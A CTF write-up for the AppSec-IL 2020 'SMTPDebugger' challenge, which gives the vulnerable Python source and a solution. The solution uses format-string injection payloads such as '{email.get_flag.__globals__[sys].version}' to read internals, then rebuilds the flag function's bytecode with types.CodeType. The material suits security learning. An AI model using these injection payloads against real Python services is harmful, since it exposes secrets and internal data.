AppSec-IL 2020 CTF: SMTPDebugger

500 points

CodeReview category

Before you’re trying to use our new SMTP Application,
We made you SMTP Debugger for you to fool around with our SDK.

The Format is:
Connect: nc smtpdebugger.appsecil.ctf.today 2525
Send input like:
{"from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "subject", "message": "message"}
We even attached the source for you to review…
Try to get the flag from our server!
By Tomer Zait

SMTPDebugger.py

import re
import sys
import json
import smtpd
import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart

BANNER = """
  `/hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNmy/`  
 +NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+ 
oMMMMMMMMMdoooooooooooooooooooooooooooooooooooooooooooooooooooooooooodMMMMMMMMM+
NMMMMMMMMMMd:                                                      :dMMMMMMMMMMm
MMMMM/+mMMMMMd:                                                  :dMMMMMm+/MMMMM
MMMMM: `+NMMMMMd:                                              :dMMMMMN+` :MMMMM
MMMMM:   `+NMMMMMd:                                          :dMMMMMN+`   :MMMMM
MMMMM:     `+mMMMMMd:                                      :dMMMMMm+`     :MMMMM
MMMMM:       `+NMMMMMd:                                  :dMMMMMN+`       :MMMMM
MMMMM:         `+NMMMMMd:                              :dMMMMMN+          :MMMMM
MMMMM:           `+NMMMMMd:                          :dMMMMMm+`           :MMMMM
MMMMM:             `+NMMMMMd:                      :dMMMMMN+`             :MMMMM
MMMMM:               `+mMMMMMd:                  :dMMMMMm+`               :MMMMM
MMMMM:                 :NMMMMMMd:              :dMMMMMMN:                 :MMMMM
MMMMM:               :hMMMMMMMMMMd:          :dMMMMMMMMMMh:               :MMMMM
MMMMM:             :hMMMMMN++NMMMMMd:      :dMMMMMN++NMMMMMh:             :MMMMM
MMMMM:           -hMMMMMNo`  `+NMMMMMd:  :dMMMMMN+`  `oNMMMMMh-           :MMMMM
MMMMM:         -hMMMMMNo`      `+NMMMMMmmMMMMMN+       `oNMMMMMh-         :MMMMM
MMMMM:       :hMMMMMNo`          `+NMMMMMMMMm+`          `oNMMMMMh:       :MMMMM
MMMMM:     :hMMMMMNo`              `/ydmmdy/`              `oNMMMMMh:     :MMMMM
MMMMM:   -hMMMMMN+`                                          `+NMMMMMh-   :MMMMM
MMMMM: :hMMMMMNo`                                              `oNMMMMMh: :MMMMM
NMMMMshMMMMMNo`                                                  `oNMMMMMhsMMMMN
+MMMMMMMMMMNsoooooooooooooooooooooooooooooooooooooooooooooooooooooosNMMMMMMMMMM+
 +NMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMN+ 
  `+hmMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMmy/`  
"""


class SMTP(smtplib.SMTP):
    class fake_socket(object):
        def sendall(self, *args):
            pass

    def _get_socket(self, host, port, timeout):
        return self.fake_socket()

    def getreply(self):
        return 220, ""

    def sendmail(self, *args):
        return args


class SMTPDebugger(object):
    _print_message_content = smtpd.DebuggingServer._print_message_content
    process_message = smtpd.DebuggingServer.process_message

    def __init__(self, from_addr, to_addrs, subject, message, **extra):
        self.from_addr = self.validate_email(from_addr)
        self.to_addrs = ";".join(map(self.validate_email, to_addrs.split(";")))
        self.subject = subject
        self.message = message
        self.extra = extra

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        return False

    @staticmethod
    def get_flag():
        return "AppSec-IL{This_Is_Not_The_Flag!}"

    @staticmethod
    def validate_email(email):
        email = email.strip()
        res = re.match(
            r'^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@'
            r'((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$',
            email
        )
        if not res:
            raise ValueError("'{email}' is bad email address!".format(email=email))
        return email

    def send_message(self):
        smtp = SMTP(host='localhost', port=1025)
        msg = MIMEMultipart()
        msg['From'] = self.from_addr
        msg['To'] = self.to_addrs
        msg['Subject'] = self.subject.format(**self.extra)
        msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))

        from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
        self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)

    @classmethod
    def run(cls):
        try:
            print(BANNER)
            kwargs = json.loads(input("Enter Email JSON: "))
            print()
            with cls(**kwargs) as smtp:
                smtp.send_message()
        except Exception as ex:
            print("\n[ERROR] {exception}".format(exception=ex), file=sys.stderr)
            return 1
        return 0


if __name__ == "__main__":
    sys.exit(SMTPDebugger.run())

Solution

The application is vulnerable for exploitation thru python string formatting because of two reasons:

  • message attribute from email JSON is used as a subject of formatting,
  • self is passed as email argument to format.

We can send below JSON to confirm the vulnerability:
{"from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "subject", "message": "{email.get_flag}"}

smtpdebugger1

I’ve checked the get_flag.__code__.co_consts the same way and it looks like there’s more logic than just return string in the method. Ok, so how to get the flag? The idea, which came to my mind was to export the bytecode of the get_flag method. I have found this great article, which explain the topic and convinced me that path I’ve choosen is correct.

Ok, so one by one (to be honest, I could do this in one request) I’ve extracted:

email.get_flag.__code__.co_argcount
email.get_flag.__code__.co_kwonlyargcount
email.get_flag.__code__.co_nlocals
email.get_flag.__code__.co_stacksize
email.get_flag.__code__.co_flags
email.get_flag.__code__.co_code
email.get_flag.__code__.co_consts
email.get_flag.__code__.co_names
email.get_flag.__code__.co_varnames
email.get_flag.__code__.co_filename
email.get_flag.__code__.co_name
email.get_flag.__code__.co_firstlineno
email.get_flag.__code__.co_lnotab

Ok, what next?
I’ve tried to create method from the extracted parts (with use of types python library):

my_flag__code__ = types.CodeType(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, 
                                 co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab)

def my_flag():
    return ''

my_flag.__code__ = my_flag__code__

my_flag()

And I get below error:

Traceback (most recent call last):
  File "/home/luc/.config/JetBrains/PyCharm2020.2/scratches/scratch_6.py", line 24, in <module>
    my_flag()
  File "/app/index.py", line 103, in get_flag
NameError: name 'SMTPDebugger' is not defined

Process finished with exit code 1

Ok, right. It’s a method which need its class.
So, eventually I’ve prepared below code:

import re
import sys
import json
import smtpd
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import types

co_code = b'd\x01d\x00l\x00}\x00d\x02}\x01d\x03}\x02d\x04}\x03d\x02}\x04y\x08t\x01\x01\x00W\x00nF\x04\x00t\x02k\nrf\x01\x00}\x05\x01\x00z(|\x04t\x03|\x05\x83\x01\xa0\x04t\x05d\x05\x83\x01\xa1\x01d\x06\x19\x007\x00}\x04|\x04\x9b\x00d\x07\x9d\x02}\x04W\x00d\x00d\x00}\x05~\x05X\x00Y\x00n\x02X\x00\x90\x01xJt\x06t\x03t\x07\x83\x00\x83\x01\x83\x01D\x00\x90\x01]6\\\x02}\x06}\x07|\x01|\x077\x00}\x01d\x08}\x07d\t}\x08d\n}\td\x0bd\x0cd\rg\x03}\nd\x0e}\x0bd\x0f}\x0cd\x10}\r|\x06sz|\x01t\x08t\x03\x83\x01d\x11\x19\x00\xa0\t\xa1\x007\x00}\x01|\x01t\nj\x0bj\x0cd\x01\x19\x007\x00}\x01d\x12}\x0ed\x13}\x0f|\x01|\x0e|\x0f\x17\x00|\x07\x17\x007\x00}\x01|\x01|\t7\x00}\x01|\x01t\nj\x0bj\x0cd\x14\x19\x007\x00}\x01|\x01t\rt\x0et\x0fj\x10j\x11\x83\x01\xa0\x12\xa1\x00\x83\x01d\x15\x19\x00\xa0\x13d\x16\xa1\x01\xa0\t\xa1\x007\x00}\x01d\x16}\x10|\x01|\x107\x00}\x01|\x01t\nj\x0c\xa0\t\xa1\x007\x00}\x01|\x01t\x0cd\x06\x19\x007\x00}\x01|\x01|\x00\xa0\x14t\x15d!|\nd"\x95\x03\x83\x01d\x00d\x00d\x14\x85\x03\x19\x00\xa1\x01\xa0\x16\xa1\x007\x00}\x01|\x01t\x0cd\x1b\x19\x007\x00}\x01|\x01t\x0fj\x17j\x0c\xa0\x04|\x10\xa1\x01d\x14\x19\x00\xa0\x18d\x1cd\x1d\xa1\x027\x00}\x01|\x01\xa0\x18d\x1et\x03d\x01\x83\x01\xa1\x02}\x01qzW\x00|\x04|\x01\xa0\x18t\x05d\x1f\x83\x01d \xa1\x02\x17\x00S\x00'
co_argcount = 0
co_kwonlyargcount = 0 
co_nlocals = 17
co_stacksize = 10
co_flags = 67
co_consts = (None, 0, '', 'realgam3', 'Tomer Zait', 39, 1, '-IL', 'u', 'b', 's', 78, 49, 70, 'c', 'r', 'k', 41, 'p', 'l', -1, 8, '_', 119, 71, 88, 82, -2, 'f', 'F', 'o', 101, '3', (49, 119, 71), (88, 82))
co_names = ('base64', 'AppSec', 'Exception', 'str', 'split', 'chr', 'enumerate', 'dict', 'dir', 'title', 'object', '__init__', '__name__', 'list', 'vars', 'SMTPDebugger', 'send_message', '__class__', 'keys', 'strip', 'b64decode', 'bytearray', 'decode', 'get_flag', 'replace')
co_varnames = ('base64', 'flag', 'author', 'realgam3', 'start', 'ex', 'i', 'c', 'h', 'r', 'l', 't', 'e', 'z', 'b', 'a', '_')
co_filename = '/app/index.py'
co_name = 'get_flag'
co_firstlineno = 71
co_lnotab = b'\x00\x02\x08\x02\x04\x01\x04\x01\x04\x01\x04\x01\x02\x01\x08\x01\x10\x01\x1a\x01\x1c\x02\x1c\x01\x08\x01\x04\x01\x04\x01\x04\x01\n\x01\x04\x01\x04\x01\x04\x02\x04\x01\x14\x01\x10\x01\x04\x01\x04\x01\x10\x01\x08\x01\x10\x01&amp;\x01\x04\x01\x08\x01\x0e\x01\x0c\x01&amp;\x01\x0c\x01\x1e\x01\x14\x01'

my_flag__code__ = types.CodeType(co_argcount, co_kwonlyargcount, co_nlocals, co_stacksize, co_flags, co_code, co_consts, co_names, co_varnames, co_filename, co_name, co_firstlineno, co_lnotab)

def my_flag():
    return ''
my_flag.__code__ = my_flag__code__

class SMTPDebugger(object):
    _print_message_content = smtpd.DebuggingServer._print_message_content
    process_message = smtpd.DebuggingServer.process_message

    def __init__(self, from_addr, to_addrs, subject, message, **extra):
        self.from_addr = self.validate_email(from_addr)
        self.to_addrs = ";".join(map(self.validate_email, to_addrs.split(";")))
        self.subject = subject
        self.message = message
        self.extra = extra

    def __enter__(self):
        return self

    def __exit__(self, exc_type, exc_val, exc_tb):
        return False

    @staticmethod
    def get_flag():
        return "AppSec-IL{This_Is_Not_The_Flag!}"

    @staticmethod
    def validate_email(email):
        email = email.strip()
        res = re.match(
            r'^(([^<>()\[\]\\.,;:\s@"]+(\.[^<>()\[\]\\.,;:\s@"]+)*)|(".+"))@'
            r'((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\])|(([a-zA-Z\-0-9]+\.)+[a-zA-Z]{2,}))$',
            email
        )
        if not res:
            raise ValueError("'{email}' is bad email address!".format(email=email))
        return email

    def send_message(self):
        smtp = SMTP(host='localhost', port=1025)
        msg = MIMEMultipart()
        msg['From'] = self.from_addr
        msg['To'] = self.to_addrs
        msg['Subject'] = self.subject.format(**self.extra)
        msg.attach(MIMEText(self.message.format(email=self, **self.extra), 'plain'))

        from_addr, to_addrs, flatmsg, mail_options, rcpt_options = smtp.send_message(msg)
        self.process_message("127.0.0.1", from_addr, to_addrs, flatmsg)

    @classmethod
    def run(cls):
        try:
            print(BANNER)
            kwargs = json.loads(input("Enter Email JSON: "))
            print()
            with cls(**kwargs) as smtp:
                smtp.send_message()
        except Exception as ex:
            print("\n[ERROR] {exception}".format(exception=ex), file=sys.stderr)
            return 1
        return 0


SMTPDebugger.get_flag.__code__ = my_flag__code__
print(SMTPDebugger.get_flag())

And it gave me below flag:

AppSec-IL{F0rmat_plus_C0d3_Obj3ct_Equ4l5_Flag}

p.s. Above solution may not work properly if you are using different python version than the one running the app. You may check it with this payload: {"from_addr": "[email protected]", "to_addrs": "[email protected]", "subject": "subject", "message": "{email.get_flag.__globals__[sys].version}"}

Privacy Policy
luc © 2021